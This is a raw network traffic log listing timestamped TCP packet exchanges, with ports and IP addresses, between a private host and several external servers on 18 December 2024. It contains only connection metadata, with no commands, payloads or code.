Dec 18, 2024 15:56:17.708285093 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.708344936 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.708484888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.708579063 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.709033966 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.709093094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.709165096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.709217072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.709734917 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.709804058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.709836006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.709884882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.710525990 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.710570097 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.710649014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.710700989 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.711204052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.711256981 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.711329937 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.711374998 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.711905003 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.711972952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.712054014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.712136984 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.712850094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.712898016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.712933064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.713022947 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.713430882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.713490009 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.713599920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.713655949 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.714129925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.714189053 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.714221954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.714281082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.714978933 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.715045929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.715133905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.715182066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.715607882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.715661049 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.715790033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.715838909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.716274977 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.716335058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.716454029 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.716521025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.717055082 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.717149019 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.717176914 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.717236042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.717782974 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.717829943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.717956066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.718004942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.718498945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.718545914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.718601942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.718669891 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.719223976 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.719286919 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.719322920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.719372034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.719933033 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.720035076 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.839663982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.839742899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.839782000 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.839834929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.839992046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.840080023 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.840111017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.840173006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.840508938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.840621948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.840651035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.840679884 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.841243029 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.841295004 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.841322899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.841372967 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.876842022 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.876971006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.876987934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.877108097 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.877114058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.877162933 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.877291918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.877345085 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.877348900 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.877399921 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.878053904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.878148079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.878307104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.878355980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.879309893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.879329920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.879403114 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.879595041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.879645109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.879714012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.879771948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.880291939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.880357027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.880409002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.880537987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.881016016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.881073952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.881154060 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.881300926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.884104967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.884242058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.884444952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.884494066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.884789944 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.884797096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.884803057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.884809017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.884821892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.884829998 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.884850979 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.884896040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.885323048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.885382891 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.885478973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.885530949 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.886401892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.886419058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.886466026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.886478901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.887247086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.887305021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.887393951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.887461901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.887924910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.887938023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.887979031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.888602018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.888657093 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.888796091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.888843060 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.889338970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.889393091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.889496088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.889556885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.890269041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.890275002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.890337944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.891002893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.891097069 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.891176939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.891233921 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.891978025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.891988993 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.892035961 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.892501116 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.892534018 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.892534018 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.892796040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.892873049 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.893188953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.893197060 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.893240929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.894016981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.894022942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.894062996 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.894515991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.894584894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.894692898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.894813061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.895122051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.895128965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.895174980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.895207882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.895246029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.895261049 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.895328045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.895800114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.895848036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.895927906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.895967960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.896615028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.896684885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.896706104 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.896760941 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.897243023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.897296906 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.897320032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.897530079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:17.897773981 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:17.897825003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:20.388093948 CET	49744	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:20.389236927 CET	49776	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:20.508428097 CET	80	49744	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:20.508506060 CET	49744	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:20.509310007 CET	80	49776	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:20.509388924 CET	49776	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:20.509612083 CET	49776	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:20.629256964 CET	80	49776	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:21.136413097 CET	49779	443	192.168.2.10	98.85.100.80
Dec 18, 2024 15:56:21.136446953 CET	443	49779	98.85.100.80	192.168.2.10
Dec 18, 2024 15:56:21.136522055 CET	49779	443	192.168.2.10	98.85.100.80
Dec 18, 2024 15:56:21.155004025 CET	49779	443	192.168.2.10	98.85.100.80
Dec 18, 2024 15:56:21.155016899 CET	443	49779	98.85.100.80	192.168.2.10
Dec 18, 2024 15:56:21.886131048 CET	80	49776	185.215.113.43	192.168.2.10
Dec 18, 2024 15:56:21.886271954 CET	49776	80	192.168.2.10	185.215.113.43
Dec 18, 2024 15:56:21.889688015 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:22.009582043 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:22.009664059 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:22.009898901 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:22.130456924 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:22.893465042 CET	443	49779	98.85.100.80	192.168.2.10
Dec 18, 2024 15:56:22.926459074 CET	49779	443	192.168.2.10	98.85.100.80
Dec 18, 2024 15:56:22.926487923 CET	443	49779	98.85.100.80	192.168.2.10
Dec 18, 2024 15:56:22.927867889 CET	443	49779	98.85.100.80	192.168.2.10
Dec 18, 2024 15:56:22.927948952 CET	49779	443	192.168.2.10	98.85.100.80
Dec 18, 2024 15:56:22.986541986 CET	49779	443	192.168.2.10	98.85.100.80
Dec 18, 2024 15:56:22.986751080 CET	443	49779	98.85.100.80	192.168.2.10
Dec 18, 2024 15:56:22.986758947 CET	49779	443	192.168.2.10	98.85.100.80
Dec 18, 2024 15:56:23.031332970 CET	443	49779	98.85.100.80	192.168.2.10
Dec 18, 2024 15:56:23.031497002 CET	49779	443	192.168.2.10	98.85.100.80
Dec 18, 2024 15:56:23.031517029 CET	443	49779	98.85.100.80	192.168.2.10
Dec 18, 2024 15:56:23.078396082 CET	49779	443	192.168.2.10	98.85.100.80
Dec 18, 2024 15:56:23.427653074 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.427838087 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.429325104 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.429428101 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.537945986 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.538044930 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.547993898 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.548002005 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.548013926 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.548074961 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.548108101 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.549894094 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.550059080 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.657737970 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.657749891 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.657763004 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.657862902 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.659068108 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.659079075 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.659126997 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.659195900 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.659202099 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.659244061 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.659342051 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.659348965 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.659390926 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.667794943 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.667898893 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.667929888 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.667973995 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.671900988 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.672004938 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.672035933 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.672238111 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.680409908 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.680442095 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.680578947 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.688846111 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.688950062 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.688977957 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.689002991 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.778665066 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.778712988 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.778785944 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.782758951 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.782819033 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.782838106 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.782900095 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.791970015 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.792031050 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.792061090 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.792221069 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.799782038 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.799873114 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.799958944 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.800085068 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.808770895 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.808933973 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.809009075 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.809072971 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.816615105 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.816696882 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.816751003 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.816787004 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.825051069 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.825330019 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.825545073 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.825603008 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.833666086 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.833754063 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.833759069 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.833807945 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.842128038 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.842200041 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.842222929 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.842297077 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.850500107 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.850605965 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.850608110 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.850657940 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.858891010 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.858998060 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.859004974 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.859055042 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.867398977 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.867463112 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.867686033 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.867741108 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.875884056 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.875988007 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.875997066 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.876362085 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.898422003 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.898475885 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.898511887 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.898541927 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.902523041 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.902645111 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.902693033 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.902713060 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.911273003 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.911354065 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.911406994 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.911456108 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.919528008 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.919586897 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.919608116 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.919637918 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.928066015 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.928145885 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.928179026 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.928210020 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.936471939 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.936532974 CET	80	49782	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:23.936609030 CET	49782	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:23.943084955 CET	80	49782	185.215.113.16	192.168.2.10
